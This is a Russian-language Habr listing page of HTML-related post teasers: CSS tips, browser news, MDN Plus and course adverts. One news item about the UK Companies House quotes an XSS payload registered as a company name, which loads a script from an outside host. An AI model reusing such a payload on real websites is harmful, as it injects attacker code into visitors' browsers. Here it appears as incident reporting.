Как стать автором
Обновить

58 байтов CSS, которые выглядят красиво почти где угодно

Веб-дизайн *CSS *HTML *
Перевод

При создании своего веб-сайта я хотел найти простой и разумный способ сделать его красивым на большинстве дисплеев. Для моих задач подошли следующие 58 байтов:

main {
  max-width: 38rem;
  padding: 2rem;
  margin: auto;
}

Давайте их разберём.
Читать дальше →
Всего голосов 37: ↑29 и ↓8 +21
Просмотры 9.4K
Комментарии 8

Новый HTML-элемент <portal> от Google призван заменить фреймы

Разработка веб-сайтов *CSS *JavaScript *Google Chrome HTML *


На конференции разработчиков I/O 2019 компания Google представила новую технологию под названием «порталы», которая призвана обеспечить новый способ загрузки и навигации по веб-страницам.

По словам Google, «порталы» работают с помощью нового HTML-тега под названием <portal>. Этот тег работает аналогично классическим тегам <iframe>, позволяя веб-разработчикам вставлять удалённый контент на свои страницы.
Читать дальше →
Всего голосов 28: ↑26 и ↓2 +24
Просмотры 22K
Комментарии 39

В британском реестре компаний обнаружили XSS

Информационная безопасность *JavaScript *HTML *

Выпуск комикса XKCD 327 «Мамины эксплойты» в переводе xkcd.ru

20 октября некто Джим Уокер поделился на форуме разработчиков британского государственного реестра компаний Companies House интересным наблюдением. Companies House допускает в именах компаний символы < и >. Это открывает простор для атак на тех сайтах, которые не фильтруют и не экранируют управляющие символы корректным образом. Если сайт отображает название компании и не санитизирует данные, то он потенциально уязвим к XSS-атаке.

Уокер обнаружил, что 16 октября некий Майкл Джон Тэнди зарегистрировал компанию с названием "><SCRIPT SRC=HTTPS://MJT.XSS.HT></SCRIPT> LTD. Если XSS-фильтра нет, то такое имя компании внедряет на веб-страницу код, который вызывает внешний JavaScript.
Читать дальше →
Всего голосов 10: ↑10 и ↓0 +10
Просмотры 3.5K
Комментарии 4

X5 frontend meetup

Блог компании X5 Tech JavaScript *Fidonet *HTML *Карьера в IT-индустрии

1 июля в 19:00 приглашаем на офлайн-митап про фронтенд-разработку от Х5 Group. Обещаем много реального опыта и обсуждения злободневных вопросов от крутых экспертов из Х5 Group, Mish.Design, Tinkoff и Evil Martians.

Регистрация

Читать далее
Всего голосов 4: ↑4 и ↓0 +4
Просмотры 967
Комментарии 0

Спринт посреди жары. Коротаем вечера за веб-разработкой

Блог компании HTML Academy CSS *Программирование *HTML *Учебный процесс в IT

На континенте вновь жара и снова Евро (и Дзюба не справляется, и курс), а мы на это снова тратим время, свой главный ограниченный ресурс. Под грустные трансляции футбола в жару страной проводим вечера. И было бы ужасно бестолково, но мы же тут родились не вчера.

Мы сели в Академии в кружочек (такой, побольше, всё-таки ковид), сидели от утра до поздней ночи и вроде бы решили — будет спринт. 

Берём всех тех, кто хочет во фронтенде достичь ещё невиданных высот, готовим им прикольные проекты, даём статьи и, в общем-то, вперёд. Добавим чат с такими же, кто в жизни ещё не раз потрогает гриды. Подробности под катом (кнопка ниже), там все детали, запись и т.д.

Читать далее
Всего голосов 8: ↑8 и ↓0 +8
Просмотры 1.5K
Комментарии 0

Причиной неполадок «Госуслуг» стали новые сервисы

Веб-дизайн *HTML *Социальные сети и сообщества

«Госуслуги» ввели два новых сервиса для обжалования решений контролирующего органа и исправлений сведений о трудовом стаже в ПФР. Внедрение новых сервисов привело к сбоям в работе «Госуслуг» и появлению получасовой очереди на посещение сайта. Некоторые пользователи обходили таймер, меняя значения в исходном коде страницы.

Читать далее
Всего голосов 25: ↑24 и ↓1 +23
Просмотры 11K
Комментарии 38

Google отказалась от изменений уведомлений Chrome, которые ломали сайты и веб-приложения

Google Chrome HTML *Браузеры

Google отменила удаление в Chrome предупреждающих окон браузера и других подсказок, созданных с помощью cross-origin iFrame, после того, как данное обновление за последние две недели сломало многие веб-приложения и встревожило разработчиков.

IFrame — это компонент HTML-элемента, который позволяет встраивать документы, видео и интерактивные медиафайлы на страницу (другими словами, кадр внутри кадра). Используя данный компонент, можно отобразить дополнительную страницу на главной веб-странице.

Элемент iFrame позволяет включать часть содержимого из других источников, что и называется cross-origin iFrame. Он может интегрировать контент в любом месте на вашей странице, без необходимости включать их в структуру веб-макета, как традиционный элемент.

Читать далее
Всего голосов 11: ↑11 и ↓0 +11
Просмотры 5.2K
Комментарии 6

Что выучить, чтобы работать фулстеком. Приглашаем на профессию «Фулстек-разработчик»

Блог компании HTML Academy Разработка веб-сайтов *JavaScript *Учебный процесс в IT Карьера в IT-индустрии

Профессия в HTML Academy — 6 курсов, на которых научим вас верстать по-современному, писать фронтенд на JavaScript и делать бэкенд на Node.js. После обучения — практика в команде с живыми людьми. Ближайшая профессия «Фулстек-разработчик» начинается 24 августа, поэтому есть немного времени объяснить подробнее.

На профессии вы научитесь делать веб-приложения целиком, без сомнений по поводу того, как подключить базу или прикрутить слайдер. Всё сможете сами. Будете строить архитектуру клиентских и серверных приложений, поймёте, как работают и пишутся SPA, как применять ООП и паттерны проектирования, освоите стек React (Redux, Redux Thunk, Axios), познакомитесь с TypeScript, автоматизированным тестированием и базами данных MongoDB и PostgreSQL. Уф.

Это не просто так столько всего — это всё нужно, чтобы работать фулстеком.

Узнать подробнее
Всего голосов 15: ↑9 и ↓6 +3
Просмотры 3.2K
Комментарии 2

Начни карьеру frontend-разработчика в СберМаркете

Блог компании СберМаркет JavaScript *HTML *Учебный процесс в IT Карьера в IT-индустрии

Всем привет! Мы открываем набор на оплачиваемую стажировку для начинающих фронтендеров.

Лекции и практические занятия подготовят новичков к работе над реальными фронтенд-задачами, а наши менторы в течение всей стажировки будут рядом, чтобы передать свой опыт.

Подать заявку можно до 14 ноября.

Подробнее о стажировке
Всего голосов 3: ↑3 и ↓0 +3
Просмотры 8K
Комментарии 15

Исследование: Google меняет 61% заголовков для выдачи у 81 тысячи страниц

Поисковые технологии *HTML *Исследования и прогнозы в IT *Поисковая оптимизация *

Исследователь Zyppy Сайрус Шепард опубликовал итоги своих наблюдений по поводу того, как Google работает с тегами заголовков. По его словам, компания поменяла 61% заголовков для выдачи у 81 тысячи исследованных страниц.

Читать далее
Всего голосов 8: ↑8 и ↓0 +8
Просмотры 4.3K
Комментарии 1

Mozilla обновила MDN и готовится к запуску MDN Plus

Разработка веб-сайтов *CSS *JavaScript *HTML *

Mozila обновила ресурс MDN (Mozilla Developer Network). Изменили внешний вид веб-портала, улучшили систему поиска и переработали сортировку по темам. Вместе с этим анонсировали премиальную подписку MDN Plus, позволяющую персонализировать документацию под собственные нужды.

Читать далее
Всего голосов 14: ↑14 и ↓0 +14
Просмотры 4.4K
Комментарии 3

Mozilla запустила платный сервис MDN Plus

Разработка веб-сайтов *CSS *JavaScript *HTML *IT-компании

Mozilla запустила новый платный сервис MDN Plus, который дополнит такие коммерческие инициативы, как Mozilla VPN и Firefox Relay Premium. Стоимость подписки составит $10 в месяц или $100 в год.

Читать далее
Всего голосов 10: ↑10 и ↓0 +10
Просмотры 9.2K
Комментарии 15

Бесплатный интенсив «Основы HTML и CSS за 10 дней»

Блог компании HTML Academy Разработка веб-сайтов *CSS *HTML *Тестирование веб-сервисов *

Кажется, почти все на Хабре сталкивались с HTML и CSS, даже если не занимаются этим на работе. Ну знаете, все эти «сделай кнопку покруглее», «сделай текст более красненьким», или кому-то из друзей сайт собрать. Авторы статей сталкивались с редактором Хабра (особенно старым). Или вот, например, наш выпускник, бывший системный администратор, пишет:

Когда я работал сисадмином, однажды со словами «Тыжпрограммист, помоги!» ко мне обратился друг, которому нужен был интернет-магазин. Я кое-как разобрался в движках, хостинге и всём остальном, и запустил ему магазин на Opencart с бесплатным шаблоном на Bootstrap. Ковыряться с этим мне понравилось, но я понимал, что многое сделал криво (например, изменял размер шрифта с помощью замены тега с h2 на h3 и т.д.

В общем, принцип понятен. И знания вроде есть, и нагуглить, как правильно, можно, но у большинства из базы, чтобы сделать что-то сразу и наверняка, нет. И это нормально. Но с базой-то лучше, особенно, если часто приходится забираться в вёрстку. Поэтому приглашаем на интенсив, где расскажем всё об основах современной вёрстки сайтов и научим всякому. Подробности под катом.

Читать далее
Всего голосов 4: ↑4 и ↓0 +4
Просмотры 3K
Комментарии 3

Первые шаги в веб-разработке: подборка бесплатных занятий Нетологии

Блог компании Нетология Разработка веб-сайтов *CSS *JavaScript *HTML *

Считается, что самый простой способ начать карьеру в ИТ — стать тестировщиком. Есть и другое направление: его относительно просто освоить на базовом уровне, но оно открывает большие перспективы. Речь о веб-разработке. Только на hh.ru постоянно открыто окло 2000 вакансий для таких специалистов. Мы собрали несколько бесплатных курсов и лекций для начинающих.

Читать далее
Всего голосов 6: ↑3 и ↓3 0
Просмотры 5.6K
Комментарии 0

Приглашаем на бесплатный челлендж по веб-разработке

Блог компании HTML Academy Разработка веб-сайтов *CSS *JavaScript *HTML *

Коллеги, давайте все задачи уже после майских. Потому что на майских позанимаемся веб-разработкой на майском челлендже. За 10 дней вы выучите основы вёрстки на HTML и CSS и программирования на JavaScript и PHP. 

Если вы уже что-то умеете — структурируете, если ещё не умеете — сам Тим Бёрнерс-Ли велел (возможно, мы не проверяли). Главный приз — бесплатное обучение на курсе «HTML и CSS. Профессиональная вёрстка сайтов». На него претендуют все участники, дошедшие до конца.

Подробности под катом

Вот здесь
Всего голосов 2: ↑2 и ↓0 +2
Просмотры 880
Комментарии 0

С чего начать карьеру в IT: лайвы HTML Academy в июле

Блог компании HTML Academy Разработка веб-сайтов *CSS *HTML *

Привет, Хабр! Мы не знаем, как у вас, но в Питере жара. Мозги плавятся настолько, что тяжело отличить джаву от джаваскрипта, а вместо foo хочется в bar. Но мы всё-таки сделаем усилие и расскажем всем желающим о самых легких путях во фронтенд.

Потому что о том, зачем туда идти, все уже знают и посмеиваются над этим постом со своих гамаков и шезлонгов.

Читать далее
Всего голосов 2: ↑2 и ↓0 +2
Просмотры 695
Комментарии 0

html в почте

Habr
В комментариях, которые приходят на почту, указан Content-Type: text/plain, а в теле письма (если ответ содержал html) присутствует html, который разумеется не обрабатывается. Наверное имеет смысл либо чистить от html присылаемый текст, либо указать соответствующий content-type.
Всего голосов 1: ↑1 и ↓0 +1
Просмотры 1.2K
Комментарии 2

Подсказки в «Разрешенные html-тэги»

Habr
При клике на «Разрешенные html-тэги» выскакивает окошко с допустимыми тэгами, в котором парные тэги указываются, к примеру, — <b></b>

А вот тэг <a href=''> почему-то не удостоился такой чести =(
Сначала подумалось, что ошибка, но взглянув на все остальное, решил, что это фича такая, а оказалось что нет =(
Всего голосов 2: ↑1 и ↓1 0
Просмотры 3.1K
Комментарии 14

HTML теги <acronym>, <small>, <sup> и др.

Habr
Мне кажется, было бы логично разрешить для использования в комментариях и текстах следующие HTML теги:
  • <acronym> — для удобной расшифровки сокращений, которые в великом множестве присутствуют в IT текстах
  • <big>, <small> — родные, но почему-то обделённые братья разрешённых смысловых тегов <em> и <strong>
  • <sup> и <sub> — могут пригодиться для сносок, примечаний, записи химических и прочих формул
Всего голосов 15: ↑13 и ↓2 +11
Просмотры 1.1K
Комментарии 21